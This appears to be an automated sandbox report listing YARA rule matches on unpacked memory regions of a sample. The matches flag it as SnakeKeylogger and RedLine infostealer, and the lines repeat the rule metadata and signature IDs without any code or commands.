Source: 26.2.yihfsboC.pif.2ae90f08.8.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 26.2.yihfsboC.pif.2ae90f08.8.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 23.3.yihfsboC.pif.327be688.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 23.3.yihfsboC.pif.327be688.0.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 23.2.yihfsboC.pif.34860000.7.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 23.2.yihfsboC.pif.34860000.7.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 23.2.yihfsboC.pif.34860000.7.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 23.2.yihfsboC.pif.34860000.7.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 26.2.yihfsboC.pif.2ae90000.9.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 26.2.yihfsboC.pif.2ae90000.9.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 14.2.yihfsboC.pif.25d6b98e.8.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 14.2.yihfsboC.pif.25d6b98e.8.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 26.2.yihfsboC.pif.29915570.7.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 26.2.yihfsboC.pif.29915570.7.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 23.2.yihfsboC.pif.35955570.9.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 23.2.yihfsboC.pif.35955570.9.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 14.2.yihfsboC.pif.27066478.12.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 14.2.yihfsboC.pif.27066478.12.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 21.2.Cobsfhiy.PIF.20805c08.1.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 14.2.yihfsboC.pif.285a0f08.13.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 14.2.yihfsboC.pif.285a0f08.13.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 23.2.yihfsboC.pif.3598e790.8.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 23.2.yihfsboC.pif.3598e790.8.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 23.2.yihfsboC.pif.35956478.10.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 23.2.yihfsboC.pif.35956478.10.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 26.2.yihfsboC.pif.2994e790.6.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 26.2.yihfsboC.pif.2994e790.6.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 14.2.yihfsboC.pif.285a0000.14.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 14.2.yihfsboC.pif.285a0000.14.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 26.2.yihfsboC.pif.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 23.2.yihfsboC.pif.34690000.5.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 23.2.yihfsboC.pif.34690000.5.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 26.2.yihfsboC.pif.285db98e.4.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 26.2.yihfsboC.pif.285db98e.4.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 23.2.yihfsboC.pif.342dc896.4.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 23.2.yihfsboC.pif.342dc896.4.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 26.3.yihfsboC.pif.268cecc8.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 26.3.yihfsboC.pif.268cecc8.0.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 23.2.yihfsboC.pif.35955570.9.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 23.2.yihfsboC.pif.35955570.9.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 26.2.yihfsboC.pif.400000.0.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 26.2.yihfsboC.pif.2994e790.6.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 26.2.yihfsboC.pif.2994e790.6.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 26.1.yihfsboC.pif.400000.2.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 14.2.yihfsboC.pif.400000.5.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 26.3.yihfsboC.pif.268cecc8.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 26.3.yihfsboC.pif.268cecc8.0.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 14.2.yihfsboC.pif.285a0f08.13.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 14.2.yihfsboC.pif.285a0f08.13.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 23.2.yihfsboC.pif.34690f08.6.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 23.2.yihfsboC.pif.34690f08.6.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 14.2.yihfsboC.pif.28be0000.15.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 14.2.yihfsboC.pif.28be0000.15.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 26.2.yihfsboC.pif.29916478.5.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 26.2.yihfsboC.pif.29916478.5.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 23.2.yihfsboC.pif.3598e790.8.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 23.2.yihfsboC.pif.3598e790.8.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 14.2.yihfsboC.pif.285a0000.14.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 14.2.yihfsboC.pif.285a0000.14.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 26.2.yihfsboC.pif.29916478.5.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 26.2.yihfsboC.pif.29916478.5.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 14.2.yihfsboC.pif.2709e790.10.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 14.2.yihfsboC.pif.2709e790.10.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 14.2.yihfsboC.pif.25d6c896.9.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 14.2.yihfsboC.pif.25d6c896.9.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 23.2.yihfsboC.pif.400000.1.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 26.2.yihfsboC.pif.285dc896.3.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 26.2.yihfsboC.pif.285dc896.3.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 26.2.yihfsboC.pif.2ae90f08.8.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 26.2.yihfsboC.pif.2ae90f08.8.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 14.2.yihfsboC.pif.27065570.11.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 14.2.yihfsboC.pif.27065570.11.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 14.2.yihfsboC.pif.25d6c896.9.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 14.2.yihfsboC.pif.25d6c896.9.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 23.2.yihfsboC.pif.342db98e.3.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 23.2.yihfsboC.pif.342db98e.3.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 23.2.yihfsboC.pif.400000.1.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 26.2.yihfsboC.pif.285dc896.3.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 26.2.yihfsboC.pif.285dc896.3.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 26.2.yihfsboC.pif.2ae90000.9.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 26.2.yihfsboC.pif.2ae90000.9.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 23.3.yihfsboC.pif.327be688.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 23.3.yihfsboC.pif.327be688.0.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 23.2.yihfsboC.pif.35956478.10.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 23.2.yihfsboC.pif.35956478.10.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 26.1.yihfsboC.pif.400000.2.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 14.2.yihfsboC.pif.28be0000.15.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 14.2.yihfsboC.pif.28be0000.15.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
